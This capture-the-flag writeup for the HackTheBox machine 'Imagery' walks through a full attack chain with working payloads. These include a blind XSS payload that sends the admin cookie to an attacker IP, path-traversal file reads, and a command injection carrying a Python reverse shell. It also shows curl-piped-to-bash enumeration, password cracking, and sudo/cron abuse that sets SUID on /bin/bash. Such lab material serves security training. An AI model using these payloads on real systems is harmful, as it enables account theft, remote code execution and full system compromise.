HTB: Imagery Writeup

Imagery - HackTheBox Writeup

Machine Information

AttributeDetails
NameImagery
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Imagery is a medium-difficulty Linux machine centered on exploiting a web application vulnerable to blind XSS and arbitrary file read. By stealing admin credentials via a blind XSS payload, an attacker gains access to a file download feature that lacks input sanitization. Reading the application source code reveals an image transformation endpoint vulnerable to command injection through unsanitized subprocess parameters. After achieving initial foothold, discovering an encrypted backup file leads to leaked credentials for the mark user. The mark user can execute a custom Charcol backup utility as root without a password. By exploiting the Charcol password reset and cron job creation features, an attacker can set the SUID bit on /bin/bash and achieve root access.

TL;DR: Blind XSS → Admin Cookie Theft → Arbitrary File Read → Source Code Review → Command Injection RCE → Encrypted Backup Cracking → mark User Lateral Movement → Charcol Sudo Abuse → SUID Bash → Root Access


Reconnaissance

Port Scanning

Terminal window
# Initial full port scan
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.79.147 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed service enumeration
nmap -Pn -p$ports -sC -sV 10.129.79.147

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)

Two open ports identified: SSH on port 22 and an HTTP service running Werkzeug/Flask on port 8000.

Service Enumeration

HTTP Service (Port 8000):

  • Werkzeug 3.1.3 web server running Flask with Python 3.12.7
  • Hosts an “Image Gallery” application
  • Accessible at imagery.htb after adding to /etc/hosts
Terminal window
echo "10.129.79.147 imagery.htb" | sudo tee -a /etc/hosts

The web application provides:

  • User registration and authentication
  • Image upload functionality
  • Dashboard displaying uploaded images
  • A “Report Bug” feature in the footer for users to submit issues

Vulnerability Assessment

  1. Blind XSS in Bug Report Form — The bug reporting endpoint processes user input without proper sanitization, allowing arbitrary HTML/JavaScript execution when viewed by the admin.
  2. Arbitrary File Read — The admin panel contains a log download feature with an unsanitized log_identifier parameter vulnerable to path traversal.
  3. Command Injection via Image Transform — The image transformation endpoint passes user-controlled parameters directly to subprocess.run() with shell=True, enabling OS command execution.
  4. Weak Credential Storage — User passwords stored as unsalted MD5 hashes in db.json.
  5. Exposed Backup File — An AES-encrypted backup in /var/backup containing leaked credentials for deprecated user accounts.

Initial Foothold

Step 1: Exploit Blind XSS to Steal Admin Cookies

The bug report form is processed by the admin without JavaScript execution restrictions. We craft a payload that exfiltrates the admin’s session cookie:

<img src=x onerror="window.location.href='http://10.10.15.23/c='+btoa(document.cookie);" />

Submit this payload via the bug report form and monitor an HTTP server:

Terminal window
python3 -m http.server 80

Expected Output:

10.129.79.147 - - [20/Jan/2026 19:34:12] "GET /c=c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVa<SNIP> HTTP/1.1" 404 -

Decode the base64-encoded cookie:

Terminal window
echo 'c2Vzc2lvbj0uZUp3OWpiRU9nekFNUlBfRmM0VUVaY3BFUjc0aU1vbExMU1VHeGM2QUVQLU9vcW9kNzkzVDNRbVJkVTk0ekJFY1lMOE00UmxIZUFEcksyWVdjRllxdGVnNTcxUjBFelNXMVJ1cFZhVUM3bzFKdjhQZReGhxMkxfcmtIQlRPMmlyVTZjY2FWeWRCOWI0TG9CS3JNdjJ3LmFXX2FHQS5wNlFxZy1fYkNvOWM5SzBISzBYLWw3dk16TmM=' | base64 -d

Output: Session cookie value for admin account.

Modify your browser cookies to use the stolen admin session cookie. Navigate to the admin panel where a log download feature is available.

Step 3: Exploit Arbitrary File Read to Access Source Code

In Burp Suite, intercept the log download request. The parameter log_identifier contains filenames. Modify it to read arbitrary files:

GET /admin/download-logs?log_identifier=/etc/passwd HTTP/1.1

Verify RCE vulnerability by reading:

/proc/self/environ (reveals application home directory)
/root/app.py (application source code)

From the source code analysis, identify the following structure:

@bp_edit.route('/apply_visual_transform', methods=['POST'])
def apply_visual_transform():
if not session.get('is_testuser_account'):
return jsonify({'success': False, 'message': 'Feature is still in development.'}), 403
request_payload = request.get_json()
transform_type = request_payload.get('transformType')
params = request_payload.get('params', {})
if transform_type == 'crop':
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

Step 4: Crack Testuser Credentials

Read /root/config.py via arbitrary file read to locate the credentials file:

DB_PATH = 'db.json'

Read /root/db.json to extract password hashes:

{
"users": [
{
"username": "testuser@imagery.htb",
"password": "5f4dcc3b5aa765d61d8327deb882cf99"
}
]
}

Crack the MD5 hash using John the Ripper:

Terminal window
echo "5f4dcc3b5aa765d61d8327deb882cf99" > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=raw-md5

Output: iambatman

Step 5: Login as Testuser and Upload Image

  • Log in to the web application with credentials testuser@imagery.htb:iambatman
  • Upload an image and note the image_id returned in the response

Step 6: Exploit Command Injection in Image Transform

Create a JSON payload with command injection in the width parameter:

Terminal window
cat > payload.json << 'EOF'
{
"imageId": "UPLOADED_IMAGE_ID",
"transformType": "crop",
"params": {
"x": "0",
"y": "0",
"width": "800;python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"10.10.15.23\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"/bin/bash\");'",
"height": "600"
}
}
EOF

Start a netcat listener:

Terminal window
nc -lnvp 1337

Send the payload via the /apply_visual_transform endpoint:

Terminal window
curl -X POST http://imagery.htb:8000/apply_visual_transform \
-H "Content-Type: application/json" \
-b "session=ADMIN_SESSION_COOKIE" \
-d @payload.json

Expected Output:

Connection received on 10.129.79.147 48316
web@Imagery:~/web$

Privilege Escalation

Step 1: Stabilize the Reverse Shell

Terminal window
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Press Ctrl+Z
stty raw -echo; fg

Step 2: Enumerate System via Linpeas

Terminal window
curl http://10.10.15.23/linpeas.sh | bash

Key Finding:

-rw-rw-r-- 1 root root 23054471 Aug 6 2024 /var/backup/web_20250806_120723.zip.aes

Step 3: Decrypt AES-Encrypted Backup

Download the encrypted file and determine its format:

Terminal window
file web_20250806_120723.zip.aes
# Output: AES encrypted data, version 2, created by "pyAesCrypt 6.1.1"

Use dpyAesCrypt.py to brute-force the password:

Terminal window
virtualenv env
source env/bin/activate
pip3 install pyAesCrypt
python3 decrypt.py web_20250806_120723.zip.aes /usr/share/wordlists/rockyou.txt -t 100

Output: Password found: bestfriends

Decrypt and extract:

Terminal window
unzip web.zip
cat web/db.json

Extract mark user credentials:

{
"username": "mark@imagery.htb",
"password": "5d41402abc4b2a76b9719d911017c592"
}

Step 4: Crack Mark User Hash

Terminal window
echo "5d41402abc4b2a76b9719d911017c592" > mark_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt mark_hash.txt --format=raw-md5

Output: supersmash

Step 5: Switch to Mark User

Terminal window
su mark
# Password: supersmash
id
# uid=1002(mark) gid=1002(mark) groups=1002(mark)

Retrieve the user flag:

Terminal window
cat /home/mark/user.txt

Step 6: Exploit Sudo Privilege on Charcol

Check sudo privileges:

/usr/local/bin/charcol
sudo -l
# User mark may run the following commands on Imagery:

View Charcol help:

Terminal window
sudo /usr/local/bin/charcol help

Key Feature Identified: -R flag to reset password to default (requires system password verification).

Reset the Charcol password:

Terminal window
sudo /usr/local/bin/charcol -R
# Enter system password when prompted

Restart Charcol in shell mode:

Terminal window
sudo /usr/local/bin/charcol shell

Set a new application password and master passphrase when prompted. Then enter the interactive shell.

Step 7: Create Malicious Cron Job

Once in the Charcol interactive shell, create a cron job that runs as root:

Terminal window
charcol> auto add --schedule "* * * * *" --command "/bin/bash -c 'chmod u+s /bin/bash'" --name "pwn"
# Enter application password when prompted

Wait for the cron job to execute (should run within 60 seconds):

Terminal window
mark@Imagery:~$ ls -la /bin/bash
# -rwsr-xr-x 1 root root 1474768 Oct 26 2024 /bin/bash

Step 8: Elevate to Root

Execute bash with the SUID bit set:

Terminal window
bash -p
# uid=1002(mark) gid=1002(mark) euid=0(root) groups=1002(mark)
id

Retrieve the root flag:

Terminal window
cat /root/root.txt

Attack Chain Summary

Blind XSS Payload
Admin Cookie Theft
Arbitrary File Read via Admin Panel
Read app.py Source Code
Extract db.json Credentials
Crack testuser MD5 Hash (iambatman)
Login as testuser
Upload Image
Command Injection in Image Transform
Reverse Shell (web user)
Discover Encrypted Backup File
Brute-Force AES Password (bestfriends)
Extract mark Credentials from Backup
Crack mark MD5 Hash (supersmash)
Lateral Movement to mark User
Exploit Charcol Sudo NOPASSWD
Reset Charcol Password
Create Cron Job to chmod SUID /bin/bash
Root Access via bash -p

Tools Used

ToolPurpose
nmapPort discovery and service enumeration
curlHTTP requests and file downloads
Burp SuiteRequest interception and parameter manipulation
johnMD5 hash cracking
base64Cookie decoding
dpyAesCrypt.pyAES password brute-forcing
unzipArchive extraction
ncReverse shell listener
linpeas.shSystem enumeration

Key Learnings

Techniques Practiced

  • Blind XSS exploitation for credential theft
  • Arbitrary file read via path traversal
  • Source code review to identify hidden vulnerabilities
  • Unsanitized subprocess command injection
  • AES encryption brute-forcing with Python
  • MD5 hash cracking with dictionary attacks
  • Privilege escalation via sudo misconfiguration
  • SUID bit manipulation for privilege elevation
  • Interactive application exploitation (Charcol)

Lessons Learned

  1. Client-side security matters: Missing HttpOnly flags on session cookies allowed XSS to steal admin credentials; always secure sensitive cookies with appropriate flags.

  2. Input validation is critical: The arbitrary file read and command injection vulnerabilities both stemmed from insufficient input sanitization and validation of user-supplied parameters.

  3. Avoid shell=True in subprocess calls: Passing shell=True with unsanitized user input is a critical security flaw; use parameterized execution instead.

  4. Weak password storage: Unsalted MD5 hashes are trivially crackable; use bcrypt, Argon2, or similar modern password hashing algorithms.

  5. Backup security is important: Encrypted backups should use strong, unique passwords and be stored securely; weak encryption passwords are discoverable via brute-force attacks.

  6. Sudo privilege review: Applications run with NOPASSWD sudo should have no dangerous functionality; the Charcol password reset and cron job features were exploitable when run as root.

  7. Cron jobs as attack vectors: Creating scheduled tasks with elevated privileges can provide persistent root access; restrict cron job creation capabilities in privileged applications.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>